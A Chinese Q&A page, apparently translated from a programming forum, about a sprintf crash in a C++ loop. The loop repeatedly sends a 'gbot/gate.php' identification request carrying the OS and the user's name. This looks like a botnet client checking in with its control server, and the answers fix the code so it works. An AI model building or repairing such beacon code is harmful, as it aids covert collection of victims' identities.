关于GET和sprint的c++代码

C++ code about GET and sprintf

本文关键字:c++ 代码 sprint GET 关于      更新时间:2023-10-16
while(true)
{
    char *mybuf;
    if(getenv("windir") != NULL)
    {
        //mybuf = "GET /gbot/gate.php?page=ident&os=windows&username=%srnrn";
        sprintf(mybuf, "GET /gbot/gate.php?page=ident&os=windows&username=%srnrn", getenv("username"));
    }
    else
        mybuf = "GET /gbot/gate.php?page=ident&os=linuxrnrn";
    send(Socket, mybuf, strlen(mybuf), 0);
    char buffer[10000];
    recv(Socket, buffer, 10000,0);
    cout << buffer;
    _sleep(60000);
}

我有这段代码,sprintf使程序崩溃。我如何使我的buf,包含用户名(getenv),而不崩溃我的项目?非常感谢。

除非您真的想要创建另一个缓冲区溢出问题,否则根本不要使用sprintf。既然你已经标记了这个c++,我建议更像这样:

std::string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL) {
    mybuf += "windows&username=";
    mybuf += getenv("username");
    mybuf += "rnrn";
}
else
    mybuf += "linuxrnrn";
send(Socket, mybuf.c_str(), mybuf.length(), 0);

char *mybuf只是给你一个char指针,没有别的。您需要实际分配char缓冲区,以便sprintf有一些地方可以将其结果写入。尝试将其改为数组(以避免手动内存管理):

char mybuf[SIZE];

SIZE替换为您想要的缓冲区大小

然而,我担心你认为你在写c++。这看起来更像c。